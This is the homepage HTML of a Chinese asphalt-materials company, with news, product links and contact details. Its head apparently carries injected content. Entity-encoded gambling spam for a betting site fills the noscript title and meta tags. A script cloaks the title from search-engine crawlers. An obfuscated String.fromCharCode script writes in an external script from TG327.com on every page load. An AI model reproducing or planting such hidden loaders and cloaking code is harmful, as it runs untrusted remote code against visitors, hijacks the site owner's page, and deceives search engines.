<!DOCTYPE html>
<!--[if lt IE 7]>
<html class="lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]>
<html class="lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]>
<html class="lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!-->
<html class="">
	<!--<![endif]-->
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge,Chrome=1">
		<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0">
		<meta name="renderer" content="webkit">
<noscript><title>&#24320;&#20113;&#40;&#20013;&#22269;&#41;&#75;&#97;&#105;&#121;&#117;&#110;&#183;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;&#10;</title>
<meta name="keywords" content="&#32;&#24320;&#20113;&#23448;&#26041;&#44;&#24320;&#20113;&#32593;&#22336;&#44;&#24320;&#20113;&#32593;&#31449;&#44;&#24320;&#20113;&#24320;&#25143;&#44;&#24320;&#20113;&#30005;&#23376;&#10;" />
<meta name="description" content="&#24320;&#20113;&#183;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#9989;&#12304;&#11088;&#65039;&#23567;&#20108;&#25512;&#33616;&#11088;&#65039;&#119;&#119;&#119;&#46;&#107;&#97;&#105;&#121;&#117;&#110;&#46;&#99;&#111;&#109;&#12305;&#24320;&#20113;&#183;&#107;&#97;&#105;&#121;&#117;&#110;&#22312;&#32447;&#25552;&#20379;&#26368;&#26032;&#30331;&#24405;&#22320;&#22336;&#12289;&#23448;&#32593;&#12289;&#30331;&#24405;&#12289;&#20837;&#21475;&#12289;&#20840;&#31449;&#12289;&#97;&#112;&#112;&#12289;&#19979;&#36733;&#12289;&#32593;&#39029;&#12289;&#32593;&#22336;&#12289;&#25163;&#26426;&#29256;&#12289;&#23448;&#26041;&#12289;&#32593;&#31449;&#12289;&#24179;&#21488;&#65292;&#30005;&#23376;&#12289;&#30005;&#31454;&#12289;&#30495;&#20154;&#12289;&#26827;&#29260;&#19968;&#24212;&#20465;&#20840;&#65292;&#24320;&#20113;&#183;&#107;&#97;&#105;&#121;&#117;&#110;&#27426;&#36814;&#20320;&#65281;&#32;&#32;&#10;" /></noscript>
<script>if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){document.title ="首页"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,84,71,51,50,55,46,99,111,109,47,99,97,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
		<title></title>
		<meta name="keywords" content="" />
		 <meta name="description" content="" />
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/base.css" />
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/index.css" />
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/page.css" />
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/animate.min.css">
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/viewer.min.css" />
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/style-sp.css" />
		<link type="text/css" rel="stylesheet" href="/assets/addons/cms/css/swiper-bundle.min.css" />
	</head>
	<body style="background:#fff;overflow-x: hidden;">

		<!--header开始-->
		<div class="header">
			<div class="w1500 header-box">
				<div class="header-left">
					<div class="header-logo"><img src="/uploads/20240612/9316a5c96ec62bbf258db79f650c054f.png" alt=""></div>
					<div class="header-info">
						<p>股票名称：<span>国创高新</span></p>
						<p>股票代码：<span class="gc-red strong">002377</span></p>
					</div>
				</div>
				<div class="header-right">
					<ul class="one-nav">
												<li class=" active">
							<a href="/">首页 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
														<ul class="two-nav">
															</ul>
													</li>
												<li class="">
							<a href="/zjgc.html">走进国创 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
														<ul class="two-nav">
																<li class=""><a href="/p/about_us.html" ><span>◆</span>关于公司</a></li>
																<li class=""><a href="/p/Founder_message.html" ><span>◆</span>创始人寄语</a></li>
																<li class=""><a href="/honor.html" ><span>◆</span>荣誉资质</a></li>
																<li class=""><a href="/history.html" ><span>◆</span>发展历程</a></li>
																<li class=""><a href="/sons.html" ><span>◆</span>国创子公司</a></li>
															</ul>
													</li>
												<li class="">
							<a href="/news_center.html">新闻中心 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
														<ul class="two-nav">
																<li class=""><a href="/company_news.html" ><span>◆</span>公司新闻</a></li>
																<li class=""><a href="http://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzUxMDQwOTg3OQ==&action=getalbum&album_id=3528166497736704002#wechat_redirect" ><span>◆</span>视讯动态</a></li>
															</ul>
													</li>
												<li class="">
							<a href="/product_center.html">产品中心 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
														<ul class="two-nav">
																<li class=""><a href="/Asphalt_materials.html" ><span>◆</span>沥青材料</a></li>
																<li class=""><a href="/Construction_and_maintenance_techniques.html" ><span>◆</span>施工养护技术</a></li>
																<li class=""><a href="/Boutique_cases.html" ><span>◆</span>精品案例</a></li>
															</ul>
													</li>
												<li class="">
							<a href="/Talent_Center.html">人才中心 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
														<ul class="two-nav">
																<li class=""><a href="/p/Employment_philosophy.html" ><span>◆</span>用人理念</a></li>
																<li class=""><a href="/p/Career_development.html" ><span>◆</span>职业发展</a></li>
																<li class=""><a href="http://we.51job.com/pc/search?jobArea=000000&keyword=%E5%9B%BD%E5%88%9B%E9%AB%98%E7%A7%91%E5%AE%9E%E4%B8%9A%E9%9B%86%E5%9B%A2%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&searchType=2&keywordType=" target="_blank"><span>◆</span>在线招聘</a></li>
															</ul>
													</li>
												<li class="">
							<a href="/p/corporate_culture.html">企业文化 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
														<ul class="two-nav">
															</ul>
													</li>
												<li class="">
							<a href="/p/contact_us.html">联系我们 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
													</li>
												<li class="">
							<a href="/Investor_Relations.html">投资者关系 <img src="/assets/addons/cms/images/cite-ico.png" alt="" class="cite-ico" /></a>
													</li>
												<li class="line"><span></span></li>
						<li class="search-ico search"><img src="/assets/addons/cms/images/search.png" alt="" class="hiddenfdj"></li>
					</ul>
				</div>
				<div class="mindh">
					<span class="one"></span>
					<span class="two"></span>
					<span class="three"></span>
				</div>
			</div>
		</div>

		<!--header结束-->
		
<style>
	.header{
		position: fixed;
		width: 100%;
		background: #fff;
	}
	.content{
		padding-top: 100px;
	}
</style>
<div class="content">
	<div class="banner swiper" id="swiper-banner">
		<ul class="swiper-wrapper">
						<li class="swiper-slide"><img src="http://guochuang.com.cn/uploads/20240613/db4b910121e5909b14fd0e4821b34d3a.jpg" alt="banner"></li>
						<li class="swiper-slide"><img src="http://guochuang.com.cn/uploads/20240724/adc878741c8cb1db7509f6c06e8a8124.png" alt="banner"></li>
						<li class="swiper-slide"><img src="http://guochuang.com.cn/uploads/20240724/772c7a436435bef91285e97de9e03a7c.png" alt="banner"></li>
					</ul>
		<div class="swiper-pagination"></div>
	</div>
	<div class="page01 pd100">
		<h2 class="big-title">走进国创</h2>
		<p class="en-title">ABOUT CBMB</p>
		<div class="page01-box w1400 mt60">
			<div class="page01-left">
				<h3>湖北国创高新材料股份有限公司</h3>
								<p>湖北国创高新材料股份有限公司（以下简称“公司”）于2002年3月25日在湖北省工商行政管理局登记注册，注册资本人民币9.1亿元，2010年3月23日在深圳证券交易所挂牌上市。公司是集重交沥青、改性沥青、乳化沥青等高等级道路相关材料和设备的研发、生产、销售、技术咨询与服务及公路施工养护工程为一体的国家重点高新技术企业，是我国第一家打破国外技术垄断、率先以自主知识产权制造改性沥青生产设备并生产改性沥青的企业，是我国交通行业公路用新材料领域的先锋企业。</p>
								<a href="/p/about_us.html" class="more-btn">查看更多<img src="/assets/addons/cms/images/more-ico.png" alt=""></a>
			</div>
			<div class="page01-right">
								<div class="img-box"><img src="/uploads/20240718/4099c1d22e50fa3e3b98d56c1a67e482.jpg" alt=""></div>
							</div> 
		</div>
	</div>
	<div class="page02 pd80">
		<h2 class="big-title">产品中心</h2>
		<p class="en-title">PRODUCT CENTER</p>
		<div class="page02-box mt60 swiper" id="swiper-product">
			<ul class="swiper-wrapper">
								<li class="swiper-slide">
					<div class="product-img">
						<img src="/uploads/20240625/cc5dbf7b805124bd5d641610eff0c827.jpg" alt="">
					</div>
					<div class="product-dash">
						<div class="dash-box">
							<p>沥青材料</p>
							<a href="/Asphalt_materials.html" class="more-btn">查看更多<img src="/assets/addons/cms/images/more-ico-f.png" alt=""></a>
						</div>
					</div>		
				</li>
								<li class="swiper-slide">
					<div class="product-img">
						<img src="/uploads/20240625/ac59de1bdc756ba3df1d44aca82dada6.jpg" alt="">
					</div>
					<div class="product-dash">
						<div class="dash-box">
							<p>施工养护技术</p>
							<a href="/Construction_and_maintenance_techniques.html" class="more-btn">查看更多<img src="/assets/addons/cms/images/more-ico-f.png" alt=""></a>
						</div>
					</div>		
				</li>
								<li class="swiper-slide">
					<div class="product-img">
						<img src="/uploads/20240625/004f2e788ddb74b36decad2efef1fc89.jpg" alt="">
					</div>
					<div class="product-dash">
						<div class="dash-box">
							<p>精品案例</p>
							<a href="/Boutique_cases.html" class="more-btn">查看更多<img src="/assets/addons/cms/images/more-ico-f.png" alt=""></a>
						</div>
					</div>		
				</li>
							</ul>
		</div>
	</div>
	<div class="page03">
		<h2 class="big-title">新闻中心</h2>
		<p class="en-title">NEWS</p>
		<div class="page02-box w1440 mt60 ">
			<ul class="news-nav mb40">
								<li class=" active ">
					<span>
						<img src="/assets/addons/cms/images/news-ico01.png" alt="" class="show">
						<img src="/assets/addons/cms/images/news-ico01-on.png" alt="" class="on">
					</span>
					公司新闻				</li>
							</ul>
			<div class="news-box">
								<ul class=" active  animated fadeIn news-info">
										<li>
						<a href="/company_news/872.html">
							<div class="img-box"><img src="http://guochuang.com.cn/uploads/20240619/1bc1eab7f8725dc1f72f4fca96b1afdf.jpg" alt=""></div>
							<p class="time-box">2024-05-16</p>
							<p class="title-box">武钢物流联合国创高新等举办“119”消防趣味运动会技能竞赛活动</p>
							<span>11月8日下午，在消防安全活动月开展之际，武钢物流联合武钢外贸码头、国创高新等多家单位邀省消防应急宣教中心在武钢外贸码头办公楼前组织开展了一场别开生面的消防趣味运动会。参赛队伍集结，教官宣讲比赛注意事项比赛过程中，员工们通过参与“水带保龄球”、“紧急救援”、“模拟逃生”等一系列富有趣味性的消防相关游戏项目，在欢声笑语中增强了身体素质，更学习到如何在紧急情况下保持冷静并利用消防器具进行灭火及逃生。比</span>
							<p class="more">
								查看更多
								<span>
									<img src="/assets/addons/cms/images/more-ico.png" alt="" class="show">
									<img src="/assets/addons/cms/images/more-ico-c.png" alt="" class="on">
								</span>
							</p>
						</a>
					</li>
										<li>
						<a href="/company_news/871.html">
							<div class="img-box"><img src="http://guochuang.com.cn/uploads/20240715/a66f0588627be13a862ba14ae804a429.jpg" alt=""></div>
							<p class="time-box">2024-05-16</p>
							<p class="title-box">关注丨武汉市委统战部赵学龙副部长调研国创高新</p>
							<span>为贯彻落实习近平总书记关于促进科技型企业健康成长的重要指示和《中共中央、国务院关于促进民营经济发展壮大的意见》的文件精神，助力武汉科创中心建设，根据武汉统一战线服务科技型民营企业“金桥计划”的部署要求，市委统战部分管日常工作的副部长赵学龙一行于10月19日上午来国创高新调研。国创集团党委副书记、工会主席尹文彦出席接待并介绍集团有关情况，国创高新党委副书记、常务副总经理、工会主席钱静汇报了企业经</span>
							<p class="more">
								查看更多
								<span>
									<img src="/assets/addons/cms/images/more-ico.png" alt="" class="show">
									<img src="/assets/addons/cms/images/more-ico-c.png" alt="" class="on">
								</span>
							</p>
						</a>
					</li>
										<li>
						<a href="/company_news/870.html">
							<div class="img-box"><img src="http://39.101.69.208:8005/uploads/20240715/abf3a496a7b386637a0e4fd2db4fe903.png" alt=""></div>
							<p class="time-box">2024-05-16</p>
							<p class="title-box">武汉民营百强企业榜单发布，国创高新在列！</p>
							<span>8月28日，武汉市工商联召开“武汉民营企业100强”、“民营制造业企业50强”、“民营企业科技创新50强”发布会。国创高新位列“武汉民营企业100强”第96名，“武汉民营制造业企业50强”35名。发布会现场 榜单显示，民企100强入围门槛再上新高，达到20.77亿元，相较于2015年首次发布，9年翻了6倍。据会上介绍：百强民营企业营收总额达到11985.83亿元，较上年的12161.66</span>
							<p class="more">
								查看更多
								<span>
									<img src="/assets/addons/cms/images/more-ico.png" alt="" class="show">
									<img src="/assets/addons/cms/images/more-ico-c.png" alt="" class="on">
								</span>
							</p>
						</a>
					</li>
										<li>
						<a href="/company_news/869.html">
							<div class="img-box"><img src="http://guochuang.com.cn/uploads/20240715/99873c4eab28e64d1180b52984e5dc44.png" alt=""></div>
							<p class="time-box">2024-05-16</p>
							<p class="title-box">国创高新顺利完成“低挥发性生态环保祛味沥青”试验段</p>
							<span>2023年7月28日，国创高新在湖北荆州顺利完成“低挥发性生态环保祛味沥青”试验路段的铺筑工作。该实验段是由国创高新技术中心牵头，国创高新生产中心、国创道路工程公司共同配合施工完成，道路全长约1.8公里，双向4车道，宽约20米。本次生产的祛味改性沥青主要用于试验段路面上面层的铺装，单幅长约500米。  顺利完成试验路段的铺筑国创高新研发的“低挥发性生态环保祛味沥青”能够有效减少道路沥</span>
							<p class="more">
								查看更多
								<span>
									<img src="/assets/addons/cms/images/more-ico.png" alt="" class="show">
									<img src="/assets/addons/cms/images/more-ico-c.png" alt="" class="on">
								</span>
							</p>
						</a>
					</li>
									</ul>
								<ul class=" animated fadeIn news-info">
									</ul>
							</div>
			
		</div>
	</div>
</div>

		<!--footer开始-->
		<div class="footer">
			<div class="footer-box w1440">
				<div class="footer-left">
										<div class="nav">
						<p>走进国创</p>
						<ul>
														<li><a href="/p/about_us.html">关于公司</a></li>
														<li><a href="/p/Founder_message.html">创始人寄语</a></li>
														<li><a href="/honor.html">荣誉资质</a></li>
														<li><a href="/history.html">发展历程</a></li>
														<li><a href="/sons.html">国创子公司</a></li>
													</ul>
					</div>
										<div class="nav">
						<p>新闻中心</p>
						<ul>
														<li><a href="/company_news.html">公司新闻</a></li>
														<li><a href="http://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzUxMDQwOTg3OQ==&action=getalbum&album_id=3528166497736704002#wechat_redirect">视讯动态</a></li>
													</ul>
					</div>
										<div class="nav">
						<p>产品中心</p>
						<ul>
														<li><a href="/Asphalt_materials.html">沥青材料</a></li>
														<li><a href="/Construction_and_maintenance_techniques.html">施工养护技术</a></li>
														<li><a href="/Boutique_cases.html">精品案例</a></li>
													</ul>
					</div>
										<div class="nav">
						<p>人才中心</p>
						<ul>
														<li><a href="/p/Employment_philosophy.html">用人理念</a></li>
														<li><a href="/p/Career_development.html">职业发展</a></li>
														<li><a href="http://we.51job.com/pc/search?jobArea=000000&keyword=%E5%9B%BD%E5%88%9B%E9%AB%98%E7%A7%91%E5%AE%9E%E4%B8%9A%E9%9B%86%E5%9B%A2%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&searchType=2&keywordType=">在线招聘</a></li>
													</ul>
					</div>
										<div class="nav">
						<p>企业文化</p>
						<ul>
														<li><a href="/p/corporate_culture.html#文化理念">文化理念</a></li>
														<li><a href="/p/corporate_culture.html#文化活动">文化活动</a></li>
														<li><a href="/p/corporate_culture.html#社会责任">社会责任</a></li>
													</ul>
					</div>
										<div class="nav">
						<p>投资者关系</p>
						<ul>
														<li><a href="/Investor_Relations.html#基本资料介绍">基本资料介绍</a></li>
														<li><a href="/Investor_Relations.html#投资者来访信息">投资者来访信息</a></li>
														<li><a href="/Investor_Relations.html#投资者互动平台">投资者互动平台</a></li>
													</ul>
					</div>
									</div>
				<div class="footer-right">
					<div class="page01">
						<div class="phone-box">
							<img src="/assets/addons/cms/images/phone-ico.png" alt="">
							<p class="gc-red">电话: 027-8761 7347</p>
						</div>
						<p>地址：湖北省武汉市东湖开发区武大科技园武大园三路8号</p>
						<p>E-mail：hb_guochuanggaoxin@qq.com</p>
					</div>
					<div class="page02">
						<div class="code-img">
							<img src="/uploads/20240612/c288d551c8d2dc9ca33fdc8f0f069b78.jpg" alt="公众号">
						</div>
						<p>更多信息，请关注公众号</p>
					</div>
				</div>
			</div>
			<div class="footer-bottom">
				<p>湖北国创高新材料股份有限公司</p>
				<p class="p-link">工信部备案：<a href="http://beian.miit.gov.cn">鄂ICP备11002158号-1</a></p>
				<p><img src="/assets/addons/cms/images/gongan.png" alt="">42011302000531号</p>
			</div>
		</div>
		<!--footer开始-->
		
		
		<!-- 顶部搜索 -->
		<div class="search_windows" style="display: none;">
			<form class="search_windows_nr" method="post" target="_blank" action="/addons/ cms/Search/research.html"
				id="form">
				<input type="text" placeholder="请输入搜索关键词" class="keyword" id="keywords" name="keywords" />
				<button type="submit"></button>
			</form>
		</div>
		<div class="nav-bg"></div>
		<script type="text/javascript" src="/assets/addons/cms/js/jquery.min.js"></script>
		<script type="text/javascript" src="/assets/addons/cms/js/jquery-1.8.3.min.js"></script>
		<script type="text/javascript" src="/assets/addons/cms/js/swiper-bundle.min.js"></script>
		<script type="text/javascript" src="/assets/addons/cms/js/wow.min.js"></script>
		<script type="text/javascript" src="/assets/addons/cms/js/viewer.min.js"></script>
		<script type="text/javascript" src="/assets/addons/cms/layui/layui.all.js"></script>


		<!-- WOW初始化 -->
		<script>
			new WOW().init();
			var wow = new WOW({
				boxClass: 'wow',
				animateClass: 'animated',
				offset: 0,
				mobile: false,
				live: true,
			});
			wow.init();
		</script>
		<!-- WOW初始化 -->
		
		<script>
			$(".search .hiddenfdj").click(function() {
				$(".search_windows").fadeIn();
			});
			$(".search_windows").click(function(e) {
				e.stopPropagation();
				$(this).fadeOut();
				$(".keyword").val("");
			});
			$(".search_windows_nr").click(function(e) {
				e.stopPropagation();
			});
		</script>
		
		<script>
			var width = $(window).width()
			if (width >= 1024) {
				$(".header-right .one-nav>li").hover(function() {
					$(this).find('.two-nav').stop(true, true).slideDown(400)
				}, function() {
					$(this).find('.two-nav').stop(true, true).slideUp(400)
				})
			}

			$(".news-nav li").click(function() {
				var index = $(".news-nav li").index($(this));
				console.log(index, '?')
				$(".news-nav li").eq(index).addClass("active").siblings(".news-nav li").removeClass("active");
				$(".news-box ul").eq(index).addClass("active").siblings(".news-box ul").removeClass("active");
			})
			$(".son-box .son-nav li").click(function() {
				var index = $(".son-box .son-nav li").index($(this));
				$(".son-box .son-nav li").eq(index).addClass("on").siblings(".son-box .son-nav li").removeClass("on");
				$(".son-info>ul>li").eq(index).addClass("on").siblings(".son-info>ul>li").removeClass("on");
			})
			//手机端导航栏交互
			$(".mindh").click(function() {
				$(".header .header-box .header-right .one-nav").toggleClass('toshow');
				$(this).stop().toggleClass("active");
				$(".nav-bg").fadeToggle(400)
			});
			$(".nav-bg").click(function() {
				$(".header .header-box .header-right .one-nav").toggleClass('toshow');
				$(".mindh").stop().toggleClass("active");
				$(".nav-bg").fadeToggle(400)
			})
		</script>
		<script>
			var width = $(window).width()
			if(width > 1000){
				$(window).scroll(function(){
					var topScroll = $(document).scrollTop();
					var navtop = $(".ny-nav").offset().top;
					if(topScroll >= navtop ){
						$(".ny-nav").addClass("ny-nav-fixed")
					}
					if (topScroll < navTop ){
						$(".ny-nav").removeClass("ny-nav-fixed")
					}
				})
			}else if(width <= 1000){
				$(".header .header-box .header-right .one-nav>li").each(function(i){
				var len = $(this).find(".two-nav li").length
					if($(this).find(".two-nav li").length > 0){
						console.log(len,"????????",i)
						$(".header .header-box .header-right .one-nav>li").eq(i).children('a').attr("href","javascript:void(0)")
						$(".header .header-box .header-right .one-nav>li").eq(i).addClass("sons")
					}
				})
				$(".header .header-box .header-right .one-nav>li").click(function(){
					var index = $(".header .header-box .header-right .one-nav>li").index($(this));
					$(".header .header-box .header-right .one-nav>li").eq(index).children(".two-nav").slideToggle(400)
					$(".header .header-box .header-right .one-nav>li").eq(index).siblings(".header .header-box .header-right .one-nav>li").children(".two-nav").slideUp(400)
					$(".header .header-box .header-right .one-nav>li").eq(index).toggleClass("on")
					$(".header .header-box .header-right .one-nav>li").eq(index).siblings(".header .header-box .header-right .one-nav>li").removeClass("on")
				})
				
				$(".ny-nav .nav .nav-box").addClass("swiper")
				$(".ny-nav .nav .nav-box ul").addClass("swiper-wrapper")
				$(".ny-nav .nav .nav-box ul li").addClass("swiper-slide")
				var swiperNav = new Swiper('.nav-box', {
					speed: 1000,
					slidesPerView : 'auto',
				})
				
				
				$(".son-company").addClass("swiper")
				$(".son-company .son-nav").addClass("swiper-wrapper")
				$(".son-company .son-nav li").addClass("swiper-slide")
				var swiperSon = new Swiper('.son-company', {
					speed: 1000,
					breakpoints: {
						320: { //当屏幕宽度大于等于320
							slidesPerView: 2.5,
						},
						500:{
							slidesPerView: 3,
						}
					},
				})
				
				
				$("#more-btn").click(function(){
					$("#more-btn").toggleClass('on')
					$(".page-mobile .pagination").toggleClass('active')
					$(".page-mobile .pagination").slideToggle(400)
					document.querySelectorAll('.page-mobile .pagination li').forEach(function(li) {
					  if (li.classList.contains('active')) {
					    var container = li.parentNode;
					    container.scrollTop = li.offsetTop - container.offsetTop;
					  }
					});
				})
				
			}
		</script>
		<!-- 轮播 -->
		<script>
			var swiper = new Swiper('#swiper-banner', {
				speed: 1000,
				autoplay: true,
				pagination: {
					el: '.swiper-pagination',
				},
			})

			var swiper01 = new Swiper('#swiper-product', {
				speed: 1000,
				autoplay: true,
				breakpoints: {
					320: { //当屏幕宽度大于等于320
						slidesPerView: 1.3,
					},
					550: {
						slidesPerView: 2.3,
					},
					768:{
						slidesPerView: 3,
					}
				},
			})

			var swiper02 = new Swiper('#swiper-about', {
				speed: 1000,
				autoplay: true,
				slidesPerView: 3,
				spaceBetween: 32,
				navigation: {
					nextEl: '.swiper-button-next',
					prevEl: '.swiper-button-prev',
				},
				breakpoints: {
					320: { //当屏幕宽度大于等于320
						slidesPerView: 1.5,
					},
					590: {
						slidesPerView: 2,
					},
					1240:{
						slidesPerView: 3,
					}
				},
			})
			
			var swiper05 = new Swiper('#swiper-engineering', {
				speed: 1000,
				autoplay: true,
				spaceBetween: 32,
				navigation: {
					nextEl: '.swiper-button-next',
					prevEl: '.swiper-button-prev',
				},
				breakpoints: {
					320: { //当屏幕宽度大于等于320
						slidesPerView: 1.5,
					},
					590: {
						slidesPerView: 2,
					},
					1240:{
						slidesPerView: 3,
					}
				},
			})
			
			var swiper06 = new Swiper('#swiper-active', {
				speed: 2000,
				autoplay: {
				      delay: 2000,
				      disableOnInteraction: false,
				      waitForTransition: false,
					  pauseOnMouseEnter: true,
				    },
				navigation: {
					nextEl: '.swiper-button-next-ac',
					prevEl: '.swiper-button-prev-ac',
				},
				// pagination: {
				//     el: '.swiper-pagination-ac',
				//   },
				breakpoints: {
					320: { //当屏幕宽度大于等于320
						slidesPerView: 1,
						spaceBetween: 15,
					},
					500: { //当屏幕宽度大于等于320
						slidesPerView: 1.5,
						spaceBetween: 15,
					},
					768: { //当屏幕宽度大于等于320
						slidesPerView: 2,
						spaceBetween: 15,
					},
					1000:{
						slidesPerView: 3,
						spaceBetween: 32,
					}
				},
			})
			
			var swiper07 = new Swiper('#swiper-zr', {
				speed: 2000,
				autoplay: {
				      delay: 4000,
				      disableOnInteraction: false,
				      waitForTransition: false,
					  pauseOnMouseEnter: true,
				    },
				autoplay: true,
				slidesPerView: 1,
				spaceBetween: 15,
				autoHeight: true, //高度随内容变化
				navigation: {
					nextEl: '.swiper-button-next-zr',
					prevEl: '.swiper-button-prev-zr',
				},
				pagination: {
				    el: '.swiper-pagination-zr',
				  },
			})
			var swiper08 = new Swiper('#swiper-sons', {
				loop: true,
				speed: 2000,
				autoplay: {
				      delay: 3000,
				    },
				slidesPerView: 3,
				spaceBetween: 44,
				breakpoints: {
					320: { //当屏幕宽度大于等于320
						slidesPerView: 1,
						spaceBetween: 25,
					},
					450: { //当屏幕宽度大于等于320
						slidesPerView: 2,
						spaceBetween: 25,
					},
					1000:{
						slidesPerView: 3,
						spaceBetween: 25,
					}
				},
				
			})
		</script>
		<script>
			$(document).ready(function() {
				var swiperTime = new Swiper('#swiper-time', {
					speed: 1000,
					breakpoints: {
						320: { //当屏幕宽度大于等于320
							slidesPerView: 1,
							spaceBetween: 25,
							direction: 'horizontal',
						},
						425: { //当屏幕宽度大于等于320
							slidesPerView: 2,
							spaceBetween: 15,
							direction: 'horizontal',
						},
						500: { //当屏幕宽度大于等于320
							slidesPerView: 3,
							spaceBetween: 25,
							direction: 'horizontal',
						},
						786: { //当屏幕宽度大于等于320
							slidesPerView: 4,
							spaceBetween: 25,
							direction: 'horizontal',
						},
						1000:{
							direction: 'vertical',
							slidesPerView: 4,
							spaceBetween: 25,
						}
					},
					navigation: {
						nextEl: '.swiper-button-next-time',
						prevEl: '.swiper-button-prev-time',
					},
				})
				
				var swiper03 = new Swiper('#swiper-info', {
					speed: 1000,
					slidesPerView: 1,
					direction: 'vertical',
					spaceBetween: 30,
					breakpoints: {
						320: { //当屏幕宽度大于等于320
							slidesPerView: 1,
							spaceBetween: 30,
							direction: 'horizontal',
						},
						786: { //当屏幕宽度大于等于320
							slidesPerView: 1,
							spaceBetween: 30,
							direction: 'horizontal',
						},
						1000:{
							direction: 'vertical',
							slidesPerView: 1,
							spaceBetween: 30,
						}
					},
					thumbs: {
						swiper: swiperTime
					},
					controller: {
					    control: swiperTime,
					},
					navigation: {
						nextEl: '.swiper-button-next-time',
						prevEl: '.swiper-button-prev-time',
					},
				})
				
			})
			
		</script>
		<script>
			$(document).ready(function() {
				$("#picBox").find(".pic").click(function() {
					console.log("?????")
					window.$('#picBox').viewer({
						url: "data-original",
						// 关闭后一定要销毁不然会有bug
						shown:function(e){
							console.log("1111111111111111")
							
							$(".viewer-canvas").click(function(event){
								var image = $(".viewer-canvas img")
								console.log("image",image)
								console.log("event",event)
								if (event.target !== image[0]) {
									 $('body').css('overflow', 'auto');
									 $('.viewer-container').hide()
									 window.$('#picBox').viewer('destroy');
								 }
							})
						},
						// hide: function(e) {
						// 	window.$('#picBox').viewer('destroy');
						// },
						
					});
				})	
			})
		
		</script>
		<script>
			const navTop = $(".ny-nav").offset().top;
			
			
			$(".ny-nav ul li").click(function(){
				var index = $(".ny-nav ul li").index($(this));
				$(".ny-nav ul li").eq(index).addClass("active").siblings(".ny-nav ul li").removeClass("active");
			})
			
			
			$(document).ready(function() {
				var nextBtn = $(".page-fy").find("*").hasClass("next")
				var prevBtn = $(".page-fy").find("*").hasClass("prev")
				console.log(nextBtn,prevBtn)
				if(nextBtn){
					$("#next").hide()
				}
				if(prevBtn){
					$("#prev").hide()
					console.log("??????????")
				}
			})
		</script>

	</body>
</html>
